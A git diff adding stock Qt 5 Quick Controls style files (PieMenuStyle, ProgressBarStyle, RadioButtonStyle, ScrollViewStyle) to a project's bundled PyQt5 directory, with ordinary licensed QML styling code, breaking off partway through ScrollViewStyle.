b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/PieMenuStyle.qml new file mode 100644 index 00000000..ddeb4edd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/PieMenuStyle.qml @@ -0,0 +1,404 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtGraphicalEffects 1.0 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 +import QtQuick.Extras.Private.CppUtils 1.0 + +/*! + \qmltype PieMenuStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.5 + \ingroup controlsstyling + \brief Provides custom styling for PieMenu. + + PieMenuStyle is a style for PieMenu that draws each section of the menu as a + filled "slice". + + You can create a custom pie menu by replacing the following delegates: + \list + \li \l background + \li \l cancel + \li \l menuItem + \li \l title + \endlist + + To customize the appearance of each menuItem without having to define your + own, you can use the \l backgroundColor and \l selectionColor properties. + To customize the drop shadow, use the \l shadowColor, \l shadowRadius and + \l shadowSpread properties. + + Icons that are too large for the section that they are in will be scaled + down appropriately. + + To style individual sections of the menu, use the menuItem component: + \code + PieMenuStyle { + shadowRadius: 0 + + menuItem: Item { + id: item + rotation: -90 + sectionCenterAngle(styleData.index) + + Rectangle { + width: parent.height * 0.2 + height: width + color: "darkorange" + radius: width / 2 + anchors.right: parent.right + anchors.verticalCenter: parent.verticalCenter + + Text { + id: textItem + text: control.menuItems[styleData.index].text + anchors.centerIn: parent + color: control.currentIndex === styleData.index ? "red" : "white" + rotation: -item.rotation + } + } + } + } + \endcode + + \image piemenu-menuitem-example.png A custom PieMenu +*/ + +Style { + id: pieMenuStyle + + /*! + The \l PieMenu that this style is attached to. + */ + readonly property PieMenu control: __control + + /*! The background color. */ + property color backgroundColor: Qt.rgba(0.6, 0.6, 0.6, 0.66) + + /*! The selection color. */ + property color selectionColor: "#eee" + + /*! + The shadow color. + + \sa DropShadow + */ + property color shadowColor: Qt.rgba(0, 0, 0, 0.26) + + /*! + The shadow radius. + + \sa DropShadow + */ + property real shadowRadius: 10 + + /*! + The shadow spread. + + \sa DropShadow + */ + property real shadowSpread: 0.3 + + /*! + The distance from the center of the menu to the outer edge of the menu. + + \sa cancelRadius + */ + readonly property real radius: Math.min(control.width, control.height) * 0.5 + + /*! + The radius of the area that is used to cancel the menu. + + \sa radius + */ + property real cancelRadius: radius * 0.4 + + /*! + The angle (in degrees) at which the first menu item will be drawn. + + The absolute range formed by \a startAngle and \l endAngle must be + less than or equal to \c 360 degrees. + + Menu items are displayed clockwise when \a startAngle is less than + \l endAngle, otherwise they are displayed anti-clockwise. + + \sa endAngle + */ + property real startAngle: -90 + + /*! + The angle (in degrees) at which the last menu item will be drawn. + + The absolute range formed by \l startAngle and \a endAngle must be + less than or equal to \c 360 degrees. + + Menu items are displayed clockwise when \l startAngle is less than + \a endAngle, otherwise they are displayed anti-clockwise. + + \sa startAngle + */ + property real endAngle: 90 + + /*! + \qmlmethod real PieMenuStyle::sectionStartAngle(int itemIndex) + Returns the start of the section at \a itemIndex as an angle in degrees. + */ + function sectionStartAngle(itemIndex) { + return MathUtils.radToDegOffset(control.__protectedScope.sectionStartAngle(itemIndex)); + } + + /*! + \qmlmethod real PieMenuStyle::sectionCenterAngle(int itemIndex) + Returns the center of the section at \a itemIndex as an angle in + degrees. + */ + function sectionCenterAngle(itemIndex) { + return MathUtils.radToDegOffset(control.__protectedScope.sectionCenterAngle(itemIndex)); + } + + /*! + \qmlmethod real PieMenuStyle::sectionEndAngle(int itemIndex) + Returns the end of the section at \a itemIndex as an angle in degrees. + */ + function sectionEndAngle(itemIndex) { + return MathUtils.radToDegOffset(control.__protectedScope.sectionEndAngle(itemIndex)); + } + + /*! + \internal + + The distance in pixels from the center of each menu item's icon to the + center of the menu. A higher value means that the icons will be further + from the center of the menu. + */ + readonly property real __iconOffset: cancelRadius + ((radius - cancelRadius) / 2) + + /*! \internal */ + readonly property real __selectableRadius: radius - cancelRadius + + /*! \internal */ + property int __implicitWidth: Math.round(TextSingleton.implicitHeight * 12.5) + + /*! \internal */ + property int __implicitHeight: __implicitWidth + + /*! + The background of the menu. + + By default, there is no background defined. + */ + property Component background + + /*! + The cancel component of the menu. + + This is an area in the center of the menu that closes the menu when + clicked. + + By default, it is not visible. + */ + property Component cancel: null + + /*! + The component that displays the text of the currently selected menu + item, or the title if there is no current item. + + The current item's text is available via the \c styleData.text + property. + */ + property Component title: Text { + font.pointSize: 20 + text: styleData.text + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + color: "#ccc" + antialiasing: true + } + + /*! + This component defines each section of the pie menu. + + This component covers the width and height of the control. + + No mouse events are propagated to this component, which means that + controls like Button will not function when used within it. You can + check if the mouse is over this section by comparing + \c control.currentIndex to \c styleData.index. + + Each instance of this component has access to the following properties: + + \table + \row \li \c {readonly property int} \b styleData.index + \li The index of this menu item. + \row \li \c {readonly property bool} \b styleData.hovered + \li \c true if this menu item is under the mouse. + \row \li \c {readonly property bool} \b styleData.pressed + \li \c true if the mouse is pressed down on this menu item. + \endtable + */ + property Component menuItem: Item { + id: actionRootDelegateItem + + function drawRingSection(ctx, x, y, section, r, ringWidth, ringColor) { + ctx.fillStyle = ringColor; + + // Draw one section. + ctx.beginPath(); + ctx.moveTo(x,y); + + // Canvas draws 0 degrees at 3 o'clock, whereas we want it to draw it at 12. + var start = control.__protectedScope.sectionStartAngle(section); + var end = control.__protectedScope.sectionEndAngle(section); + ctx.arc(x, y, r, start, end, start > end); + ctx.fill(); + + // Either change this to the background color, or use the global composition. + ctx.fillStyle = "black"; + ctx.globalCompositeOperation = "destination-out"; + ctx.beginPath(); + ctx.moveTo(x, y); + ctx.arc(x, y, ringWidth, 0, Math.PI * 2); + ctx.closePath(); + ctx.fill(); + + // If using the global composition method, make sure to change it back to default. + ctx.globalCompositeOperation = "source-over"; + } + + Canvas { + id: actionCanvas + anchors.fill: parent + property color currentColor: control.currentIndex === styleData.index ? selectionColor : backgroundColor + + Connections { + target: pieMenuStyle + function onStartAngleChanged() { actionCanvas.requestPaint() } + function onEndAngleChanged() { actionCanvas.requestPaint() } + } + + Connections { + target: control + function onCurrentIndexChanged() { actionCanvas.requestPaint() } + } + + onPaint: { + var ctx = getContext("2d"); + ctx.reset(); + drawRingSection(ctx, width / 2, height / 2, styleData.index, radius, cancelRadius, currentColor); + } + } + + readonly property var __styleData: styleData + + PieMenuIcon { + control: pieMenuStyle.control + styleData: __styleData + } + } + + /*! \internal */ + property Component panel: Item { + implicitWidth: __implicitWidth + implicitHeight: __implicitHeight + + property alias titleItem: titleLoader.item + + Item { + id: itemgroup + anchors.fill: parent + visible: false + + Loader { + id: backgroundLoader + sourceComponent: background + anchors.fill: parent + } + + Loader { + id: cancelLoader + sourceComponent: cancel + anchors.centerIn: parent + } + + Repeater { + id: menuItemRepeater + model: control.__protectedScope.visibleItems + + delegate: Loader { + id: menuItemLoader + anchors.fill: parent + sourceComponent: menuItem + + readonly property int __index: index + property QtObject styleData: QtObject { + readonly property alias index: menuItemLoader.__index + readonly property bool hovered: control.currentIndex === index + readonly property bool pressed: control.__protectedScope.pressedIndex === index + } + } + } + } + DropShadow { + id: dropShadow + anchors.fill: itemgroup + spread: shadowSpread + samples: shadowRadius * 2 + 1 + transparentBorder: true + color: shadowColor + source: itemgroup + } + + Loader { + id: titleLoader + sourceComponent: title + x: parent.x + parent.width / 2 - width / 2 + y: -height - 10 + + property QtObject styleData: QtObject { + property string text: control.currentIndex !== -1 + ? control.__protectedScope.visibleItems[control.currentIndex].text + : control.title + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/PieMenuStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/PieMenuStyle.qmlc new file mode 100644 index 00000000..6e1036dc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/PieMenuStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ProgressBarStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ProgressBarStyle.qml new file mode 100644 index 00000000..d51e056d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ProgressBarStyle.qml @@ -0,0 +1,261 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ProgressBarStyle + + \inqmlmodule QtQuick.Controls.Styles + \since 5.1 + \ingroup controlsstyling + \brief Provides custom styling for ProgressBar. + + Example: + \qml + ProgressBar { + value: slider.value + style: ProgressBarStyle { + background: Rectangle { + radius: 2 + color: "lightgray" + border.color: "gray" + border.width: 1 + implicitWidth: 200 + implicitHeight: 24 + } + progress: Rectangle { + color: "lightsteelblue" + border.color: "steelblue" + } + } + } + \endqml + + Note that the example above is somewhat simplified and will not animate + an indeterminate progress bar. The following snippet demonstrates + how you can incorporate a custom animation for the indeterminate + state as well. + + \code + progress: Rectangle { + border.color: "steelblue" + color: "lightsteelblue" + + // Indeterminate animation by animating alternating stripes: + Item { + anchors.fill: parent + anchors.margins: 1 + visible: control.indeterminate + clip: true + Row { + Repeater { + Rectangle { + color: index % 2 ? "steelblue" : "lightsteelblue" + width: 20 ; height: control.height + } + model: control.width / 20 + 2 + } + XAnimator on x { + from: 0 ; to: -40 + loops: Animation.Infinite + running: control.indeterminate + } + } + } + } + \endcode + + +*/ + +Style { + id: progressBarStyle + + /*! The \l ProgressBar this style is attached to. */ + readonly property ProgressBar control: __control + + /*! A value in the range [0-1] indicating the current progress. */ + readonly property real currentProgress: control.indeterminate ? 1.0 : + control.value / control.maximumValue + + /*! This property holds the visible contents of the progress bar + You can access the Slider through the \c control property. + + For convenience, you can also access the readonly property \c styleData.progress + which provides the current progress as a \c real in the range [0-1] + */ + padding { top: 0 ; left: 0 ; right: 0 ; bottom: 0 } + + /*! \qmlproperty Component ProgressBarStyle::progress + The progress component for this style. + */ + property Component progress: Item { + property color progressColor: "#49d" + anchors.fill: parent + clip: true + Rectangle { + id: base + anchors.fill: parent + radius: TextSingleton.implicitHeight * 0.16 + antialiasing: true + gradient: Gradient { + GradientStop {color: Qt.lighter(progressColor, 1.3) ; position: 0} + GradientStop {color: progressColor ; position: 1.4} + } + border.width: 1 + border.color: Qt.darker(progressColor, 1.2) + Rectangle { + color: "transparent" + radius: 1.5 + clip: true + antialiasing: true + anchors.fill: parent + anchors.margins: 1 + border.color: Qt.rgba(1,1,1,0.1) + Image { + visible: control.indeterminate + height: parent.height + NumberAnimation on x { + from: -39 + to: 0 + running: control.indeterminate + duration: 800 + loops: Animation.Infinite + } + fillMode: Image.Tile + width: parent.width + 25 + source: "images/progress-indeterminate.png" + } + } + } + Rectangle { + height: parent.height - 2 + width: 1 + y: 1 + anchors.right: parent.right + anchors.rightMargin: 1 + color: Qt.rgba(1,1,1,0.1) + visible: splitter.visible + } + Rectangle { + id: splitter + height: parent.height - 2 + width: 1 + y: 1 + anchors.right: parent.right + color: Qt.darker(progressColor, 1.2) + property int offset: currentProgress * control.width + visible: offset > base.radius && offset < control.width - base.radius + 1 + } + } + + /*! \qmlproperty Component ProgressBarStyle::background + The background component for this style. + + \note The implicitWidth and implicitHeight of the background component + must be set. + */ + property Component background: Item { + implicitWidth: 200 + implicitHeight: Math.max(17, Math.round(TextSingleton.implicitHeight * 0.7)) + Rectangle { + anchors.fill: parent + anchors.bottomMargin: control.pressed ? 0 : -1 + color: "#44ffffff" + radius: baserect.radius + } + Rectangle { + id: baserect + gradient: Gradient { + GradientStop {color: "#eee" ; position: 0} + GradientStop {color: "#fff" ; position: 0.1} + GradientStop {color: "#fff" ; position: 1} + } + radius: TextSingleton.implicitHeight * 0.16 + anchors.fill: parent + border.color: control.activeFocus ? "#47b" : "#999" + Rectangle { + anchors.fill: parent + radius: parent.radius + color: control.activeFocus ? "#47b" : "white" + opacity: control.hovered || control.activeFocus ? 0.1 : 0 + Behavior on opacity {NumberAnimation{ duration: 100 }} + } + } + } + + /*! \qmlproperty Component ProgressBarStyle::panel + The panel component for this style. + */ + property Component panel: Item{ + property bool horizontal: control.orientation == Qt.Horizontal + implicitWidth: horizontal ? backgroundLoader.implicitWidth : backgroundLoader.implicitHeight + implicitHeight: horizontal ? backgroundLoader.implicitHeight : backgroundLoader.implicitWidth + + Item { + width: horizontal ? parent.width : parent.height + height: !horizontal ? parent.width : parent.height + y: horizontal ? 0 : width + rotation: horizontal ? 0 : -90 + transformOrigin: Item.TopLeft + + Loader { + id: backgroundLoader + anchors.fill: parent + sourceComponent: background + } + + Loader { + sourceComponent: progressBarStyle.progress + anchors.topMargin: padding.top + anchors.leftMargin: padding.left + anchors.rightMargin: padding.right + anchors.bottomMargin: padding.bottom + + anchors.top: parent.top + anchors.left: parent.left + anchors.bottom: parent.bottom + width: currentProgress * (parent.width - padding.left - padding.right) + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ProgressBarStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ProgressBarStyle.qmlc new file mode 100644 index 00000000..cff41523 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ProgressBarStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/RadioButtonStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/RadioButtonStyle.qml new file mode 100644 index 00000000..6e3a2dc4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/RadioButtonStyle.qml @@ -0,0 +1,172 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype RadioButtonStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.1 + \ingroup controlsstyling + \brief Provides custom styling for RadioButton. + + Example: + \qml + RadioButton { + text: "Radio Button" + style: RadioButtonStyle { + indicator: Rectangle { + implicitWidth: 16 + implicitHeight: 16 + radius: 9 + border.color: control.activeFocus ? "darkblue" : "gray" + border.width: 1 + Rectangle { + anchors.fill: parent + visible: control.checked + color: "#555" + radius: 9 + anchors.margins: 4 + } + } + } + } + \endqml +*/ + +Style { + id: radiobuttonStyle + + /*! The \l RadioButton this style is attached to. */ + readonly property RadioButton control: __control + + /*! This defines the text label. */ + property Component label: Item { + implicitWidth: text.implicitWidth + 2 + implicitHeight: text.implicitHeight + baselineOffset: text.y + text.baselineOffset + Rectangle { + anchors.fill: text + anchors.margins: -1 + anchors.leftMargin: -3 + anchors.rightMargin: -3 + visible: control.activeFocus + height: 6 + radius: 3 + color: "#224f9fef" + border.color: "#47b" + opacity: 0.6 + } + Text { + id: text + text: StyleHelpers.stylizeMnemonics(control.text) + anchors.centerIn: parent + color: SystemPaletteSingleton.text(control.enabled) + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + } + + /*! The background under indicator and label. */ + property Component background + + /*! The spacing between indicator and label. */ + property int spacing: Math.round(TextSingleton.implicitHeight/4) + + /*! This defines the indicator button. */ + property Component indicator: Rectangle { + width: Math.round(TextSingleton.implicitHeight) + height: width + gradient: Gradient { + GradientStop {color: "#eee" ; position: 0} + GradientStop {color: control.pressed ? "#eee" : "#fff" ; position: 0.4} + GradientStop {color: "#fff" ; position: 1} + } + border.color: control.activeFocus ? "#16c" : "gray" + antialiasing: true + radius: height/2 + Rectangle { + anchors.centerIn: parent + width: Math.round(parent.width * 0.5) + height: width + gradient: Gradient { + GradientStop {color: "#999" ; position: 0} + GradientStop {color: "#555" ; position: 1} + } + border.color: "#222" + antialiasing: true + radius: height/2 + Behavior on opacity {NumberAnimation {duration: 80}} + opacity: control.checked ? control.enabled ? 1 : 0.5 : 0 + } + } + + /*! \internal */ + property Component panel: Item { + implicitWidth: Math.max(backgroundLoader.implicitWidth, row.implicitWidth + padding.left + padding.right) + implicitHeight: Math.max(backgroundLoader.implicitHeight, labelLoader.implicitHeight + padding.top + padding.bottom,indicatorLoader.implicitHeight + padding.top + padding.bottom) + baselineOffset: labelLoader.item ? padding.top + labelLoader.item.baselineOffset : 0 + + Loader { + id:backgroundLoader + sourceComponent: background + anchors.fill: parent + } + Row { + id: row + anchors.fill: parent + + anchors.leftMargin: padding.left + anchors.rightMargin: padding.right + anchors.topMargin: padding.top + anchors.bottomMargin: padding.bottom + + spacing: radiobuttonStyle.spacing + Loader { + id: indicatorLoader + sourceComponent: indicator + } + Loader { + id: labelLoader + sourceComponent: label + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/RadioButtonStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/RadioButtonStyle.qmlc new file mode 100644 index 00000000..9d8c6f9a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/RadioButtonStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ScrollViewStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ScrollViewStyle.qml new file mode 100644 index 00000000..36b518d3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ScrollViewStyle.qml @@ -0,0 +1,406 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ScrollViewStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.1 + \ingroup viewsstyling + \ingroup controlsstyling + \brief Provides custom styling for ScrollView. +*/ +Style { + id: root + + /*! The \l ScrollView this style is attached to. */ + readonly property ScrollView control: __control + + /*! This property controls the frame border padding of the scrollView. */ + padding {left: 1; top: 1; right: 1; bottom: 1} + + /*! This Component paints the corner area between scroll bars */ + property Component corner: Rectangle { color: "#ccc" } + + /*! This component determines if the flickable should reposition itself at the + mouse location when clicked. */ + property bool scrollToClickedPosition: true + + /*! This property holds whether the scroll bars are transient. Transient scroll bars + appear when the content is scrolled and disappear when they are no longer needed. + + The default value is platform dependent. */ + property bool transientScrollBars: Settings.isMobile && Settings.hasTouchScreen + + /*! This Component paints the frame around scroll bars. */ + property Component frame: Rectangle { + color: control["backgroundVisible"] ? "white": "transparent" + border.color: "#999" + border.width: 1 + radius: 1 + visible: control.frameVisible + } + + /*! This is the minimum extent of the scroll bar handle. + + The default value is \c 30. + */ + + property int minimumHandleLength: 30 + + /*! This property controls the edge overlap + between the handle and the increment/decrement buttons. + + The default value is \c 30. + */ + + property int handleOverlap: 1 + + /*! This component controls the appearance of the + scroll bar background. + + You can access the following state properties: + + \table + \row \li property bool \b styleData.hovered + \row \li property bool \b styleData.horizontal + \endtable + */ + + property Component scrollBarBackground: Item { + property bool sticky: false + property bool hovered: styleData.hovered + implicitWidth: Math.round(TextSingleton.implicitHeight) + implicitHeight: Math.round(TextSingleton.implicitHeight) + clip: true + opacity: transientScrollBars ? 0.5 : 1.0 + visible: !Settings.hasTouchScreen && (!transientScrollBars || sticky) + Rectangle { + anchors.fill: parent + color: "#ddd" + border.color: "#aaa" + anchors.rightMargin: styleData.horizontal ? -2 : -1 + anchors.leftMargin: styleData.horizontal ? -2 : 0 + anchors.topMargin: styleData.horizontal ? 0 : -2 + anchors.bottomMargin: styleData.horizontal ? -1 : -2 + } + onHoveredChanged: if (hovered) sticky = true + onVisibleChanged: if (!visible) sticky = false + } + + /*! This component controls the appearance of the + scroll bar handle. + + You can access the following state properties: + + \table + \row \li property bool \b styleData.hovered + \row \li property bool \b styleData.pressed + \row \li property bool \b styleData.horizontal + \endtable + */ + + property Component handle: Item { + property bool sticky: false + property bool hovered: __activeControl !== "none" + implicitWidth: Math.round(TextSingleton.implicitHeight) + 1 + implicitHeight: Math.round(TextSingleton.implicitHeight) + 1 + BorderImage { + id: img + opacity: styleData.pressed && !transientScrollBars ? 0.5 : styleData.hovered ? 1 : 0.8 + source: "images/scrollbar-handle-" + (transientScrollBars ? "transient" : styleData.horizontal ? "horizontal" : "vertical") + ".png" + border.left: transientScrollBars ? 5 : 2 + border.top: transientScrollBars ? 5 : 2 + border.right: transientScrollBars ? 5 : 2 + border.bottom: transientScrollBars ? 5 : 2 + anchors.top: !styleData.horizontal ? parent.top : undefined + anchors.margins: transientScrollBars ? 2 : 0 + anchors.bottom: parent.bottom + anchors.right: parent.right + anchors.left: styleData.horizontal ? parent.left : undefined + width: !styleData.horizontal && transientScrollBars ? sticky ? 13 : 10 : parent.width + height: styleData.horizontal && transientScrollBars ? sticky ? 13 : 10 : parent.height + Behavior on width { enabled: !styleData.horizontal && transientScrollBars; NumberAnimation { duration: 100 } } + Behavior on height { enabled: styleData.horizontal && transientScrollBars; NumberAnimation { duration: 100 } } + } + onHoveredChanged: if (hovered) sticky = true + onVisibleChanged: if (!visible) sticky = false + } + + /*! This component controls the appearance of the + scroll bar increment button. + + You can access the following state properties: + + \table + \row \li property bool \b styleData.hovered + \row \li property bool \b styleData.pressed + \row \li property bool \b styleData.horizontal + \endtable + */ + property Component incrementControl: Rectangle { + visible: !transientScrollBars + implicitWidth: transientScrollBars ? 0 : Math.round(TextSingleton.implicitHeight) + implicitHeight: transientScrollBars ? 0 : Math.round(TextSingleton.implicitHeight) + Rectangle { + anchors.fill: parent + anchors.bottomMargin: -1 + anchors.rightMargin: -1 + border.color: "#aaa" + Rectangle { + anchors.fill: parent + anchors.margins: 1 + color: "transparent" + border.color: "#44ffffff" + } + Image { + source: styleData.horizontal ? "images/arrow-right.png" : "images/arrow-down.png" + anchors.centerIn: parent + opacity: control.enabled ? 0.6 : 0.5 + } + gradient: Gradient { + GradientStop {color: styleData.pressed ? "lightgray" : "white" ; position: 0} + GradientStop {color: styleData.pressed ? "lightgray" : "lightgray" ; position: 1} + } + } + } + + /*! This component controls the appearance of the + scroll bar decrement button. + + You can access the following state properties: + + \table + \row \li property bool \b styleData.hovered + \row \li property bool \b styleData.pressed + \row \li property bool \b styleData.horizontal + \endtable + */ + property Component decrementControl: Rectangle { + visible: !transientScrollBars + implicitWidth: transientScrollBars ? 0 : Math.round(TextSingleton.implicitHeight) + implicitHeight: transientScrollBars ? 0 : Math.round(TextSingleton.implicitHeight) + Rectangle { + anchors.fill: parent + anchors.topMargin: styleData.horizontal ? 0 : -1 + anchors.leftMargin: styleData.horizontal ? -1 : 0 + anchors.bottomMargin: styleData.horizontal ? -1 : 0 + anchors.rightMargin: styleData.horizontal ? 0 : -1 + color: "lightgray" + Rectangle { + anchors.fill: parent + anchors.margins: 1 + color: "transparent" + border.color: "#44ffffff" + } + Image { + source: styleData.horizontal ? "images/arrow-left.png" : "images/arrow-up.png" + anchors.centerIn: parent + anchors.verticalCenterOffset: styleData.horizontal ? 0 : -1 + anchors.horizontalCenterOffset: styleData.horizontal ? -1 : 0 + opacity: control.enabled ? 0.6 : 0.5 + } + gradient: Gradient { + GradientStop {color: styleData.pressed ? "lightgray" : "white" ; position: 0} + GradientStop {color: styleData.pressed ? "lightgray" : "lightgray" ; position: 1} + } + border.color: "#aaa" + } + } + + /*! \internal */ + property Component __scrollbar: Item { + id: panel + property string activeControl: "none" + property bool scrollToClickPosition: true + property bool isTransient: transientScrollBars + + property bool on: false + property bool raised: false + property bool sunken: __styleData.upPressed | __styleData.downPressed | __styleData.handlePressed + + states: State { + name: "out" + when: isTransient + && (!__stickyScrollbars || !flickableItem.moving) + && panel.activeControl === "none" + && !panel.on + && !panel.raised + PropertyChanges { target: panel; opacity: 0 } + } + + transitions: Transition { + to: "out" + SequentialAnimation { + PauseAnimation { duration: root.__scrollBarFadeDelay } + NumberAnimation { properties: "opacity"; duration: root.__scrollBarFadeDuration } + PropertyAction { 